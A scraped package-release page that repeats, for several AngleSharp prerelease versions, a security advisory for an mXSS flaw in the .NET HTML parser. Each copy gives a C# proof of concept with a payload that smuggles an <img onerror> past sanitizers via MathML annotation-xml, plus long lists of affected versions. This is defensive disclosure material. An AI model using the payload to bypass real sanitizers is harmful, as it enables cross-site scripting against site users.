Output:

AngleSharp missed <img> – VULNERABLE (mXSS via attribute serialization)
Serialized output:
<html><head></head><body><math><annotation-xml encoding="text/html"><title><a encoding="</title><img src=x onerror=alert()>"></a></title></annotation-xml></math></body></html>

The title tag may be swapped out for style and other RCDATA elements.

When a browser receives this string and parses annotation-xml encoding="text/html" as an HTML integration point, the </title> closes the title element and the <img> fires its onerror handler.

Impact

Implemented HTML sanitizers that depend and trust AngleSharp's ability to parse HTML correctly may be bypassable, as AngleSharp fails to acknowledge certain vectors under certain conditions.

This reduces AngleSharp's credibility as a conformant HTML parser.

Affected versions


          0.10.0


          0.10.1


          0.11.0


          0.12.0


          0.12.1


          0.13.0


          0.13.0-alpha-733


          0.13.0-alpha-734


          0.13.0-alpha-735


          0.13.0-alpha-737


          0.13.0-alpha-739


          0.13.0-alpha-742

+ 227 more


            0.13.0-alpha-743


            0.13.0-alpha-744


            0.13.0-alpha-745


            0.13.0-alpha-748


            0.13.0-alpha-754


            0.13.0-alpha-756


            0.13.0-alpha-758


            0.13.0-alpha-760


            0.13.0-alpha-763


            0.13.0-alpha-764


            0.13.0-alpha-766


            0.13.0-alpha-768


            0.13.0-alpha-771


            0.13.0-alpha-775


            0.13.0-alpha-782


            0.14.0


            0.14.0-alpha-783


            0.14.0-alpha-784


            0.14.0-alpha-787


            0.14.0-alpha-788


            0.14.0-alpha-789


            0.14.0-alpha-790


            0.14.0-alpha-793


            0.14.0-alpha-794


            0.14.0-alpha-796


            0.14.0-alpha-798


            0.14.0-alpha-801


            0.14.0-alpha-802


            0.14.0-alpha-803


            0.14.0-alpha-805


            0.14.0-alpha-809


            0.14.0-alpha-811


            0.14.0-alpha-813


            0.14.0-alpha-817


            0.14.0-alpha-818


            0.15.0


            0.15.0-alpha-14


            0.16.0


            0.16.0-alpha-72


            0.16.0-alpha-75


            0.16.0-alpha-76


            0.16.0-alpha-77


            0.16.0-alpha-78


            0.16.0-alpha-79


            0.16.0-alpha-80


            0.16.0-alpha-84


            0.16.0-alpha-85


            0.16.0-alpha-86


            0.16.1


            0.16.1-alpha-104


            0.16.1-alpha-106


            0.16.1-alpha-108


            0.16.1-alpha-110


            0.16.1-alpha-112


            0.16.1-alpha-114


            0.16.1-alpha-120


            0.16.1-alpha-125


            0.16.1-alpha-127


            0.16.1-alpha-133


            0.16.1-alpha-144


            0.16.1-alpha-145


            0.16.1-alpha-148


            0.16.1-alpha-152


            0.16.1-alpha-153


            0.16.1-alpha-155


            0.16.1-alpha-167


            0.16.1-alpha-168


            0.16.1-alpha-91


            0.16.1-alpha-96


            0.16.1-alpha-99


            0.17.0


            0.17.0-alpha-169


            0.17.0-alpha-170


            0.17.0-alpha-171


            0.17.0-alpha-172


            0.17.0-alpha-173


            0.17.0-alpha-174


            0.17.0-alpha-177


            0.17.1


            0.17.1-alpha-178


            0.17.1-alpha-179


            0.2.0


            0.2.1


            0.2.2


            0.2.3


            0.2.4


            0.2.5


            0.2.6


            0.2.7


            0.2.8


            0.2.9


            0.3.0


            0.3.1


            0.3.2


            0.3.3


            0.3.4


            0.3.5


            0.3.6


            0.3.7


            0.4.0


            0.5.0


            0.5.1


            0.6.0


            0.6.1


            0.7.0


            0.8.0


            0.8.1


            0.8.2


            0.8.3


            0.8.4


            0.8.4.1


            0.8.5


            0.8.6


            0.8.7


            0.8.7.1


            0.8.8


            0.8.9


            0.9.0


            0.9.1


            0.9.10


            0.9.11


            0.9.2


            0.9.3


            0.9.4


            0.9.5


            0.9.6


            0.9.7


            0.9.8


            0.9.8.1


            0.9.9


            0.9.9.1


            0.9.9.2


            1.0.0


            1.0.0-alpha-1


            1.0.0-alpha-10


            1.0.0-alpha-12


            1.0.0-alpha-17


            1.0.0-alpha-20


            1.0.0-alpha-21


            1.0.0-alpha-229


            1.0.0-alpha-231


            1.0.0-alpha-25


            1.0.0-alpha-27


            1.0.0-alpha-31


            1.0.0-alpha-33


            1.0.0-alpha-36


            1.0.0-alpha-38


            1.0.0-alpha-4


            1.0.0-alpha-41


            1.0.0-alpha-47


            1.0.0-alpha-49


            1.0.0-alpha-59


            1.0.0-alpha-63


            1.0.0-alpha-64


            1.0.0-alpha-65


            1.0.0-alpha-68


            1.0.0-alpha-7


            1.0.0-alpha-70


            1.0.0-alpha-71


            1.0.0-alpha-819


            1.0.0-alpha-822


            1.0.0-alpha-825


            1.0.0-alpha-827


            1.0.0-alpha-842


            1.0.0-alpha-844


            1.0.0-ci-228


            1.0.1


            1.0.1-alpha-235


            1.0.1-alpha-241


            1.0.1-alpha-242


            1.0.1-alpha-243


            1.0.1-alpha-248


            1.0.2


            1.0.2-alpha-249


            1.0.2-alpha-250


            1.0.2-alpha-251


            1.0.2-alpha-255


            1.0.2-alpha-257


            1.0.2-alpha-258


            1.0.2-alpha-261


            1.0.2-alpha-273


            1.0.2-alpha-274


            1.0.2-alpha-275


            1.0.2-alpha-276


            1.0.2-alpha-277


            1.0.2-alpha-278


            1.0.2-alpha-281


            1.0.2-alpha-282


            1.0.2-alpha-283


            1.0.2-alpha-284


            1.0.3


            1.0.3-alpha-287


            1.0.4


            1.0.4-alpha-289


            1.0.4-alpha-290


            1.0.4-alpha-298


            1.0.4-alpha-300


            1.0.4-alpha-301


            1.0.4-alpha-307


            1.0.4-alpha-311


            1.0.4-alpha-314


            1.0.4-alpha-316


            1.0.5


            1.0.5-alpha-317


            1.0.6


            1.0.6-alpha-321


            1.0.6-alpha-325


            1.0.6-alpha-328


            1.0.6-alpha-330


            1.0.6-alpha-331


            1.0.6-alpha-339


            1.0.6-alpha-341


            1.0.7


            1.0.7-alpha-342


            1.1.0


            1.1.0-alpha-374


            1.1.0-alpha-375


            1.1.0-alpha-376


            1.1.0-alpha-377


            1.1.0-alpha-378


            1.1.0-alpha-379


            1.1.1


            1.1.2


            1.2.0


            1.3.0


            1.3.1


            1.4.0

Fixed in


          1.5.0

References

Updated Jul 17, 2026 · Source: OSV.dev

Mar 30, 2026

1.4.1-beta.506 pre

1 CVE

CVE-2026-54570 GHSA-pgww-w46g-26qg Jul 17, 2026

AngleSharp HTML5 Spec Compliance: mXSS via annotation-xml HTML Integration Point Bypass

6.9 / 10

Medium

Network High None Required Changed Low High None

Summary

The HTML specification requires that a MathML <annotation-xml> element with encoding="text/html" or encoding="application/xhtml+xml" is treated as an HTML integration point. Content inside it must be parsed as HTML, not MathML.

AngleSharp does not implement this correctly. As a result, the parser produces a DOM tree that differs from what a browser will build (different namespaces if encoding="text/html" is not treated) when given the same serialized output. Two bugs combine to make this exploitable:

Missing HtmlTip flag: MathAnnotationXmlElement is never assigned NodeFlags.HtmlTip based on its encoding attribute, so the Consume() dispatch always routes tokens to Foreign() instead of Home() (HTML mode).
Unescaped < > in attribute values: HtmlMarkupFormatter.WriteAttributeValue() does not escape < or > characters, only & and ". This allows injected markup to break out of attribute values on re-parse. See Escape "<" and ">" in attributes when serializing HTML #6235

Details

In MathAnnotationXmlElement (AngleSharp/Mathml/Dom/Internal/MathAnnotationXmlElement.cs):

// Current — HtmlTip is never set
: base(owner, TagNames.AnnotationXml, prefix, NodeFlags.Special | NodeFlags.Scoped)

Because HtmlTip is absent, the token dispatch in Consume() always sends tokens to Foreign() when inside annotation-xml, regardless of the encoding attribute. The compensating check in ForeignNormalTag() only covers tags in AllForeignExceptions and is entirely bypassed during fragment parsing (innerHTML setter) due to an if (!IsFragmentCase) guard.

In HtmlMarkupFormatter.WriteAttributeValue() (AngleSharp/Html/HtmlMarkupFormatter.cs):

// Escapes & " and \u00A0, but NOT < or >
case Symbols.Ampersand:    stringBuilder.Append("&amp;");  break;
case Symbols.NoBreakSpace: stringBuilder.Append("&nbsp;"); break;
case Symbols.DoubleQuote:  stringBuilder.Append("&quot;"); break;
default:                   stringBuilder.Append(value[i]); break; // < and > pass through raw

PoC

The following program demonstrates that AngleSharp’s parser misses the injected <img> element. A sanitizer walking this DOM would see nothing dangerous, yet the serialized output re-parses in a browser as a live <img onerror> trigger.

using System;
using System.Linq;
using AngleSharp.Html.Parser;
			
public class Program
{
    static readonly string Payload1 =
        "<math>" +
        "<annotation-xml encoding=\"text/html\">" +
        "<title><a encoding=\"</title><img src=x onerror=alert()>\">" +
        "</annotation-xml></math>";

    public static void Main()
    {
        var parser = new HtmlParser();

        Check(parser, Payload1, "IMG",
            "AngleSharp missed <img> – VULNERABLE (mXSS via attribute serialization)",
            "AngleSharp found <img> – SAFE");
    }

    static void Check(HtmlParser parser, string html, string tag,
                      string failMsg, string passMsg)
    {
        var doc     = parser.ParseDocument(html);
        var tags    = doc.All.Select(e => e.TagName).ToHashSet();
        var found   = tags.Contains(tag);

        Console.WriteLine(found ? passMsg : failMsg);
        Console.WriteLine("Serialized output:");
        Console.WriteLine(doc.DocumentElement.OuterHtml);
    }
}

Output:

AngleSharp missed <img> – VULNERABLE (mXSS via attribute serialization)
Serialized output:
<html><head></head><body><math><annotation-xml encoding="text/html"><title><a encoding="</title><img src=x onerror=alert()>"></a></title></annotation-xml></math></body></html>

The title tag may be swapped out for style and other RCDATA elements.

When a browser receives this string and parses annotation-xml encoding="text/html" as an HTML integration point, the </title> closes the title element and the <img> fires its onerror handler.

Impact

Implemented HTML sanitizers that depend and trust AngleSharp's ability to parse HTML correctly may be bypassable, as AngleSharp fails to acknowledge certain vectors under certain conditions.

This reduces AngleSharp's credibility as a conformant HTML parser.

Affected versions


          0.10.0


          0.10.1


          0.11.0


          0.12.0


          0.12.1


          0.13.0


          0.13.0-alpha-733


          0.13.0-alpha-734


          0.13.0-alpha-735


          0.13.0-alpha-737


          0.13.0-alpha-739


          0.13.0-alpha-742

+ 227 more


            0.13.0-alpha-743


            0.13.0-alpha-744


            0.13.0-alpha-745


            0.13.0-alpha-748


            0.13.0-alpha-754


            0.13.0-alpha-756


            0.13.0-alpha-758


            0.13.0-alpha-760


            0.13.0-alpha-763


            0.13.0-alpha-764


            0.13.0-alpha-766


            0.13.0-alpha-768


            0.13.0-alpha-771


            0.13.0-alpha-775


            0.13.0-alpha-782


            0.14.0


            0.14.0-alpha-783


            0.14.0-alpha-784


            0.14.0-alpha-787


            0.14.0-alpha-788


            0.14.0-alpha-789


            0.14.0-alpha-790


            0.14.0-alpha-793


            0.14.0-alpha-794


            0.14.0-alpha-796


            0.14.0-alpha-798


            0.14.0-alpha-801


            0.14.0-alpha-802


            0.14.0-alpha-803


            0.14.0-alpha-805


            0.14.0-alpha-809


            0.14.0-alpha-811


            0.14.0-alpha-813


            0.14.0-alpha-817


            0.14.0-alpha-818


            0.15.0


            0.15.0-alpha-14


            0.16.0


            0.16.0-alpha-72


            0.16.0-alpha-75


            0.16.0-alpha-76


            0.16.0-alpha-77


            0.16.0-alpha-78


            0.16.0-alpha-79


            0.16.0-alpha-80


            0.16.0-alpha-84


            0.16.0-alpha-85


            0.16.0-alpha-86


            0.16.1


            0.16.1-alpha-104


            0.16.1-alpha-106


            0.16.1-alpha-108


            0.16.1-alpha-110


            0.16.1-alpha-112


            0.16.1-alpha-114


            0.16.1-alpha-120


            0.16.1-alpha-125


            0.16.1-alpha-127


            0.16.1-alpha-133


            0.16.1-alpha-144


            0.16.1-alpha-145


            0.16.1-alpha-148


            0.16.1-alpha-152


            0.16.1-alpha-153


            0.16.1-alpha-155


            0.16.1-alpha-167


            0.16.1-alpha-168


            0.16.1-alpha-91


            0.16.1-alpha-96


            0.16.1-alpha-99


            0.17.0


            0.17.0-alpha-169


            0.17.0-alpha-170


            0.17.0-alpha-171


            0.17.0-alpha-172


            0.17.0-alpha-173


            0.17.0-alpha-174


            0.17.0-alpha-177


            0.17.1


            0.17.1-alpha-178


            0.17.1-alpha-179


            0.2.0


            0.2.1


            0.2.2


            0.2.3


            0.2.4


            0.2.5


            0.2.6


            0.2.7


            0.2.8


            0.2.9


            0.3.0


            0.3.1


            0.3.2


            0.3.3


            0.3.4


            0.3.5


            0.3.6


            0.3.7


            0.4.0


            0.5.0


            0.5.1


            0.6.0


            0.6.1


            0.7.0


            0.8.0


            0.8.1


            0.8.2


            0.8.3


            0.8.4


            0.8.4.1


            0.8.5


            0.8.6


            0.8.7


            0.8.7.1


            0.8.8


            0.8.9


            0.9.0


            0.9.1


            0.9.10


            0.9.11


            0.9.2


            0.9.3


            0.9.4


            0.9.5


            0.9.6


            0.9.7


            0.9.8


            0.9.8.1


            0.9.9


            0.9.9.1


            0.9.9.2


            1.0.0


            1.0.0-alpha-1


            1.0.0-alpha-10


            1.0.0-alpha-12


            1.0.0-alpha-17


            1.0.0-alpha-20


            1.0.0-alpha-21


            1.0.0-alpha-229


            1.0.0-alpha-231


            1.0.0-alpha-25


            1.0.0-alpha-27


            1.0.0-alpha-31


            1.0.0-alpha-33


            1.0.0-alpha-36


            1.0.0-alpha-38


            1.0.0-alpha-4


            1.0.0-alpha-41


            1.0.0-alpha-47


            1.0.0-alpha-49


            1.0.0-alpha-59


            1.0.0-alpha-63


            1.0.0-alpha-64


            1.0.0-alpha-65


            1.0.0-alpha-68


            1.0.0-alpha-7


            1.0.0-alpha-70


            1.0.0-alpha-71


            1.0.0-alpha-819


            1.0.0-alpha-822


            1.0.0-alpha-825


            1.0.0-alpha-827


            1.0.0-alpha-842


            1.0.0-alpha-844


            1.0.0-ci-228


            1.0.1


            1.0.1-alpha-235


            1.0.1-alpha-241


            1.0.1-alpha-242


            1.0.1-alpha-243


            1.0.1-alpha-248


            1.0.2


            1.0.2-alpha-249


            1.0.2-alpha-250


            1.0.2-alpha-251


            1.0.2-alpha-255


            1.0.2-alpha-257


            1.0.2-alpha-258


            1.0.2-alpha-261


            1.0.2-alpha-273


            1.0.2-alpha-274


            1.0.2-alpha-275


            1.0.2-alpha-276


            1.0.2-alpha-277


            1.0.2-alpha-278


            1.0.2-alpha-281


            1.0.2-alpha-282


            1.0.2-alpha-283


            1.0.2-alpha-284


            1.0.3


            1.0.3-alpha-287


            1.0.4


            1.0.4-alpha-289


            1.0.4-alpha-290


            1.0.4-alpha-298


            1.0.4-alpha-300


            1.0.4-alpha-301


            1.0.4-alpha-307


            1.0.4-alpha-311


            1.0.4-alpha-314


            1.0.4-alpha-316


            1.0.5


            1.0.5-alpha-317


            1.0.6


            1.0.6-alpha-321


            1.0.6-alpha-325


            1.0.6-alpha-328


            1.0.6-alpha-330


            1.0.6-alpha-331


            1.0.6-alpha-339


            1.0.6-alpha-341


            1.0.7


            1.0.7-alpha-342


            1.1.0


            1.1.0-alpha-374


            1.1.0-alpha-375


            1.1.0-alpha-376


            1.1.0-alpha-377


            1.1.0-alpha-378


            1.1.0-alpha-379


            1.1.1


            1.1.2


            1.2.0


            1.3.0


            1.3.1


            1.4.0

Fixed in


          1.5.0

References

Updated Jul 17, 2026 · Source: OSV.dev

Dec 15, 2025

1.4.1-beta.505 pre

1 CVE

CVE-2026-54570 GHSA-pgww-w46g-26qg Jul 17, 2026

AngleSharp HTML5 Spec Compliance: mXSS via annotation-xml HTML Integration Point Bypass

6.9 / 10

Medium

Network High None Required Changed Low High None

Summary

The HTML specification requires that a MathML <annotation-xml> element with encoding="text/html" or encoding="application/xhtml+xml" is treated as an HTML integration point. Content inside it must be parsed as HTML, not MathML.

AngleSharp does not implement this correctly. As a result, the parser produces a DOM tree that differs from what a browser will build (different namespaces if encoding="text/html" is not treated) when given the same serialized output. Two bugs combine to make this exploitable:

Missing HtmlTip flag: MathAnnotationXmlElement is never assigned NodeFlags.HtmlTip based on its encoding attribute, so the Consume() dispatch always routes tokens to Foreign() instead of Home() (HTML mode).
Unescaped < > in attribute values: HtmlMarkupFormatter.WriteAttributeValue() does not escape < or > characters, only & and ". This allows injected markup to break out of attribute values on re-parse. See Escape "<" and ">" in attributes when serializing HTML #6235

Details

In MathAnnotationXmlElement (AngleSharp/Mathml/Dom/Internal/MathAnnotationXmlElement.cs):

// Current — HtmlTip is never set
: base(owner, TagNames.AnnotationXml, prefix, NodeFlags.Special | NodeFlags.Scoped)

Because HtmlTip is absent, the token dispatch in Consume() always sends tokens to Foreign() when inside annotation-xml, regardless of the encoding attribute. The compensating check in ForeignNormalTag() only covers tags in AllForeignExceptions and is entirely bypassed during fragment parsing (innerHTML setter) due to an if (!IsFragmentCase) guard.

In HtmlMarkupFormatter.WriteAttributeValue() (AngleSharp/Html/HtmlMarkupFormatter.cs):

// Escapes & " and \u00A0, but NOT < or >
case Symbols.Ampersand:    stringBuilder.Append("&amp;");  break;
case Symbols.NoBreakSpace: stringBuilder.Append("&nbsp;"); break;
case Symbols.DoubleQuote:  stringBuilder.Append("&quot;"); break;
default:                   stringBuilder.Append(value[i]); break; // < and > pass through raw

PoC

The following program demonstrates that AngleSharp’s parser misses the injected <img> element. A sanitizer walking this DOM would see nothing dangerous, yet the serialized output re-parses in a browser as a live <img onerror> trigger.

using System;
using System.Linq;
using AngleSharp.Html.Parser;
			
public class Program
{
    static readonly string Payload1 =
        "<math>" +
        "<annotation-xml encoding=\"text/html\">" +
        "<title><a encoding=\"</title><img src=x onerror=alert()>\">" +
        "</annotation-xml></math>";

    public static void Main()
    {
        var parser = new HtmlParser();

        Check(parser, Payload1, "IMG",
            "AngleSharp missed <img> – VULNERABLE (mXSS via attribute serialization)",
            "AngleSharp found <img> – SAFE");
    }

    static void Check(HtmlParser parser, string html, string tag,
                      string failMsg, string passMsg)
    {
        var doc     = parser.ParseDocument(html);
        var tags    = doc.All.Select(e => e.TagName).ToHashSet();
        var found   = tags.Contains(tag);

        Console.WriteLine(found ? passMsg : failMsg);
        Console.WriteLine("Serialized output:");
        Console.WriteLine(doc.DocumentElement.OuterHtml);
    }
}

Output:

AngleSharp missed <img> – VULNERABLE (mXSS via attribute serialization)
Serialized output:
<html><head></head><body><math><annotation-xml encoding="text/html"><title><a encoding="</title><img src=x onerror=alert()>"></a></title></annotation-xml></math></body></html>

The title tag may be swapped out for style and other RCDATA elements.

When a browser receives this string and parses annotation-xml encoding="text/html" as an HTML integration point, the </title> closes the title element and the <img> fires its onerror handler.

Impact

Implemented HTML sanitizers that depend and trust AngleSharp's ability to parse HTML correctly may be bypassable, as AngleSharp fails to acknowledge certain vectors under certain conditions.

This reduces AngleSharp's credibility as a conformant HTML parser.

Affected versions


          0.10.0


          0.10.1


          0.11.0


          0.12.0


          0.12.1


          0.13.0


          0.13.0-alpha-733


          0.13.0-alpha-734


          0.13.0-alpha-735


          0.13.0-alpha-737


          0.13.0-alpha-739


          0.13.0-alpha-742

+ 227 more


            0.13.0-alpha-743


            0.13.0-alpha-744


            0.13.0-alpha-745


            0.13.0-alpha-748


            0.13.0-alpha-754


            0.13.0-alpha-756


            0.13.0-alpha-758


            0.13.0-alpha-760


            0.13.0-alpha-763


            0.13.0-alpha-764


            0.13.0-alpha-766


            0.13.0-alpha-768


            0.13.0-alpha-771


            0.13.0-alpha-775


            0.13.0-alpha-782


            0.14.0


            0.14.0-alpha-783


            0.14.0-alpha-784


            0.14.0-alpha-787


            0.14.0-alpha-788


            0.14.0-alpha-789


            0.14.0-alpha-790


            0.14.0-alpha-793


            0.14.0-alpha-794


            0.14.0-alpha-796


            0.14.0-alpha-798


            0.14.0-alpha-801


            0.14.0-alpha-802


            0.14.0-alpha-803


            0.14.0-alpha-805


            0.14.0-alpha-809


            0.14.0-alpha-811


            0.14.0-alpha-813


            0.14.0-alpha-817


            0.14.0-alpha-818


            0.15.0


            0.15.0-alpha-14


            0.16.0


            0.16.0-alpha-72


            0.16.0-alpha-75


            0.16.0-alpha-76


            0.16.0-alpha-77


            0.16.0-alpha-78


            0.16.0-alpha-79


            0.16.0-alpha-80


            0.16.0-alpha-84


            0.16.0-alpha-85


            0.16.0-alpha-86


            0.16.1


            0.16.1-alpha-104


            0.16.1-alpha-106


            0.16.1-alpha-108


            0.16.1-alpha-110


            0.16.1-alpha-112


            0.16.1-alpha-114


            0.16.1-alpha-120


            0.16.1-alpha-125


            0.16.1-alpha-127


            0.16.1-alpha-133


            0.16.1-alpha-144


            0.16.1-alpha-145


            0.16.1-alpha-148


            0.16.1-alpha-152


            0.16.1-alpha-153


            0.16.1-alpha-155


            0.16.1-alpha-167


            0.16.1-alpha-168


            0.16.1-alpha-91


            0.16.1-alpha-96


            0.16.1-alpha-99


            0.17.0


            0.17.0-alpha-169


            0.17.0-alpha-170


            0.17.0-alpha-171


            0.17.0-alpha-172


            0.17.0-alpha-173


            0.17.0-alpha-174


            0.17.0-alpha-177


            0.17.1


            0.17.1-alpha-178


            0.17.1-alpha-179


            0.2.0


            0.2.1


            0.2.2


            0.2.3


            0.2.4


            0.2.5


            0.2.6


            0.2.7


            0.2.8


            0.2.9


            0.3.0


            0.3.1


            0.3.2


            0.3.3


            0.3.4


            0.3.5


            0.3.6


            0.3.7


            0.4.0


            0.5.0


            0.5.1


            0.6.0


            0.6.1


            0.7.0


            0.8.0


            0.8.1


            0.8.2


            0.8.3


            0.8.4


            0.8.4.1


            0.8.5


            0.8.6


            0.8.7


            0.8.7.1


            0.8.8


            0.8.9


            0.9.0


            0.9.1


            0.9.10


            0.9.11


            0.9.2


            0.9.3


            0.9.4


            0.9.5


            0.9.6


            0.9.7


            0.9.8


            0.9.8.1


            0.9.9


            0.9.9.1


            0.9.9.2


            1.0.0


            1.0.0-alpha-1


            1.0.0-alpha-10


            1.0.0-alpha-12


            1.0.0-alpha-17


            1.0.0-alpha-20


            1.0.0-alpha-21


            1.0.0-alpha-229


            1.0.0-alpha-231


            1.0.0-alpha-25


            1.0.0-alpha-27


            1.0.0-alpha-31


            1.0.0-alpha-33


            1.0.0-alpha-36


            1.0.0-alpha-38


            1.0.0-alpha-4


            1.0.0-alpha-41


            1.0.0-alpha-47


            1.0.0-alpha-49


            1.0.0-alpha-59


            1.0.0-alpha-63


            1.0.0-alpha-64


            1.0.0-alpha-65


            1.0.0-alpha-68


            1.0.0-alpha-7


            1.0.0-alpha-70


            1.0.0-alpha-71


            1.0.0-alpha-819


            1.0.0-alpha-822


            1.0.0-alpha-825


            1.0.0-alpha-827


            1.0.0-alpha-842


            1.0.0-alpha-844


            1.0.0-ci-228


            1.0.1


            1.0.1-alpha-235


            1.0.1-alpha-241


            1.0.1-alpha-242


            1.0.1-alpha-243


            1.0.1-alpha-248


            1.0.2


            1.0.2-alpha-249


            1.0.2-alpha-250


            1.0.2-alpha-251


            1.0.2-alpha-255


            1.0.2-alpha-257


            1.0.2-alpha-258


            1.0.2-alpha-261


            1.0.2-alpha-273


            1.0.2-alpha-274


            1.0.2-alpha-275


            1.0.2-alpha-276


            1.0.2-alpha-277


            1.0.2-alpha-278


            1.0.2-alpha-281


            1.0.2-alpha-282


            1.0.2-alpha-283


            1.0.2-alpha-284


            1.0.3


            1.0.3-alpha-287


            1.0.4


            1.0.4-alpha-289


            1.0.4-alpha-290


            1.0.4-alpha-298


            1.0.4-alpha-300


            1.0.4-alpha-301


            1.0.4-alpha-307


            1.0.4-alpha-311


            1.0.4-alpha-314


            1.0.4-alpha-316


            1.0.5


            1.0.5-alpha-317


            1.0.6


            1.0.6-alpha-321


            1.0.6-alpha-325


            1.0.6-alpha-328


            1.0.6-alpha-330


            1.0.6-alpha-331


            1.0.6-alpha-339


            1.0.6-alpha-341


            1.0.7


            1.0.7-alpha-342


            1.1.0


            1.1.0-alpha-374


            1.1.0-alpha-375


            1.1.0-alpha-376


            1.1.0-alpha-377


            1.1.0-alpha-378


            1.1.0-alpha-379


            1.1.1


            1.1.2


            1.2.0


            1.3.0


            1.3.1


            1.4.0

Fixed in


          1.5.0

References

Updated Jul 17, 2026 · Source: OSV.dev

Dec 02, 2025

1.4.1-beta.504 pre

1 CVE

CVE-2026-54570 GHSA-pgww-w46g-26qg Jul 17, 2026

AngleSharp HTML5 Spec Compliance: mXSS via annotation-xml HTML Integration Point Bypass

6.9 / 10

Medium

Network High None Required Changed Low High None

Summary

The HTML specification requires that a MathML <annotation-xml> element with encoding="text/html" or encoding="application/xhtml+xml" is treated as an HTML integration point. Content inside it must be parsed as HTML, not MathML.

AngleSharp does not implement this correctly. As a result, the parser produces a DOM tree that differs from what a browser will build (different namespaces if encoding="text/html" is not treated) when given the same serialized output. Two bugs combine to make this exploitable:

Missing HtmlTip flag: MathAnnotationXmlElement is never assigned NodeFlags.HtmlTip based on its encoding attribute, so the Consume() dispatch always routes tokens to Foreign() instead of Home() (HTML mode).
Unescaped < > in attribute values: HtmlMarkupFormatter.WriteAttributeValue() does not escape < or > characters, only & and ". This allows injected markup to break out of attribute values on re-parse. See Escape "<" and ">" in attributes when serializing HTML #6235

Details

In MathAnnotationXmlElement (AngleSharp/Mathml/Dom/Internal/MathAnnotationXmlElement.cs):

// Current — HtmlTip is never set
: base(owner, TagNames.AnnotationXml, prefix, NodeFlags.Special | NodeFlags.Scoped)

Because HtmlTip is absent, the token dispatch in Consume() always sends tokens to Foreign() when inside annotation-xml, regardless of the encoding attribute. The compensating check in ForeignNormalTag() only covers tags in AllForeignExceptions and is entirely bypassed during fragment parsing (innerHTML setter) due to an if (!IsFragmentCase) guard.

In HtmlMarkupFormatter.WriteAttributeValue() (AngleSharp/Html/HtmlMarkupFormatter.cs):

// Escapes & " and \u00A0, but NOT < or >
case Symbols.Ampersand:    stringBuilder.Append("&amp;");  break;
case Symbols.NoBreakSpace: stringBuilder.Append("&nbsp;"); break;
case Symbols.DoubleQuote:  stringBuilder.Append("&quot;"); break;
default:                   stringBuilder.Append(value[i]); break; // < and > pass through raw

PoC

The following program demonstrates that AngleSharp’s parser misses the injected <img> element. A sanitizer walking this DOM would see nothing dangerous, yet the serialized output re-parses in a browser as a live <img onerror> trigger.

using System;
using System.Linq;
using AngleSharp.Html.Parser;
			
public class Program
{
    static readonly string Payload1 =
        "<math>" +
        "<annotation-xml encoding=\"text/html\">" +
        "<title><a encoding=\"</title><img src=x onerror=alert()>\">" +
        "</annotation-xml></math>";

    public static void Main()
    {
        var parser = new HtmlParser();

        Check(parser, Payload1, "IMG",
            "AngleSharp missed <img> – VULNERABLE (mXSS via attribute serialization)",
            "AngleSharp found <img> – SAFE");
    }

    static void Check(HtmlParser parser, string html, string tag,
                      string failMsg, string passMsg)
    {
        var doc     = parser.ParseDocument(html);
        var tags    = doc.All.Select(e => e.TagName).ToHashSet();
        var found   = tags.Contains(tag);

        Console.WriteLine(found ? passMsg : failMsg);
        Console.WriteLine("Serialized output:");
        Console.WriteLine(doc.DocumentElement.OuterHtml);
    }
}

Output:

AngleSharp missed <img> – VULNERABLE (mXSS via attribute serialization)
Serialized output:
<html><head></head><body><math><annotation-xml encoding="text/html"><title><a encoding="</title><img src=x onerror=alert()>"></a></title></annotation-xml></math></body></html>

The title tag may be swapped out for style and other RCDATA elements.

When a browser receives this string and parses annotation-xml encoding="text/html" as an HTML integration point, the </title> closes the title element and the <img> fires its onerror handler.

Impact

Implemented HTML sanitizers that depend and trust AngleSharp's ability to parse HTML correctly may be bypassable, as AngleSharp fails to acknowledge certain vectors under certain conditions.

This reduces AngleSharp's credibility as a conformant HTML parser.

Affected versions


          0.10.0


          0.10.1


          0.11.0


          0.12.0


          0.12.1


          0.13.0


          0.13.0-alpha-733


          0.13.0-alpha-734


          0.13.0-alpha-735


          0.13.0-alpha-737


          0.13.0-alpha-739


          0.13.0-alpha-742

+ 227 more


            0.13.0-alpha-743


            0.13.0-alpha-744


            0.13.0-alpha-745


            0.13.0-alpha-748


            0.13.0-alpha-754


            0.13.0-alpha-756


            0.13.0-alpha-758


            0.13.0-alpha-760


            0.13.0-alpha-763


            0.13.0-alpha-764


            0.13.0-alpha-766


            0.13.0-alpha-768


            0.13.0-alpha-771


            0.13.0-alpha-775


            0.13.0-alpha-782


            0.14.0


            0.14.0-alpha-783


            0.14.0-alpha-784


            0.14.0-alpha-787


            0.14.0-alpha-788


            0.14.0-alpha-789


            0.14.0-alpha-790


            0.14.0-alpha-793


            0.14.0-alpha-794


            0.14.0-alpha-796


            0.14.0-alpha-798


            0.14.0-alpha-801


            0.14.0-alpha-802


            0.14.0-alpha-803


            0.14.0-alpha-805


            0.14.0-alpha-809


            0.14.0-alpha-811


            0.14.0-alpha-813


            0.14.0-alpha-817


            0.14.0-alpha-818


            0.15.0


            0.15.0-alpha-14


            0.16.0


            0.16.0-alpha-72


            0.16.0-alpha-75


            0.16.0-alpha-76


            0.16.0-alpha-77


            0.16.0-alpha-78


            0.16.0-alpha-79


            0.16.0-alpha-80


            0.16.0-alpha-84


            0.16.0-alpha-85


            0.16.0-alpha-86


            0.16.1


            0.16.1-alpha-104


            0.16.1-alpha-106


            0.16.1-alpha-108


            0.16.1-alpha-110


            0.16.1-alpha-112


            0.16.1-alpha-114


            0.16.1-alpha-120


            0.16.1-alpha-125


            0.16.1-alpha-127


            0.16.1-alpha-133


            0.16.1-alpha-144


            0.16.1-alpha-145


            0.16.1-alpha-148


            0.16.1-alpha-152


            0.16.1-alpha-153


            0.16.1-alpha-155


            0.16.1-alpha-167


            0.16.1-alpha-168


            0.16.1-alpha-91


            0.16.1-alpha-96


            0.16.1-alpha-99


            0.17.0


            0.17.0-alpha-169


            0.17.0-alpha-170


            0.17.0-alpha-171


            0.17.0-alpha-172


            0.17.0-alpha-173


            0.17.0-alpha-174


            0.17.0-alpha-177


            0.17.1


            0.17.1-alpha-178


            0.17.1-alpha-179


            0.2.0


            0.2.1


            0.2.2


            0.2.3


            0.2.4


            0.2.5


            0.2.6


            0.2.7


            0.2.8


            0.2.9


            0.3.0


            0.3.1


            0.3.2


            0.3.3


            0.3.4


            0.3.5


            0.3.6


            0.3.7


            0.4.0


            0.5.0


            0.5.1


            0.6.0


            0.6.1


            0.7.0


            0.8.0


            0.8.1


            0.8.2


            0.8.3


            0.8.4


            0.8.4.1


            0.8.5


            0.8.6


            0.8.7


            0.8.7.1


            0.8.8


            0.8.9


            0.9.0


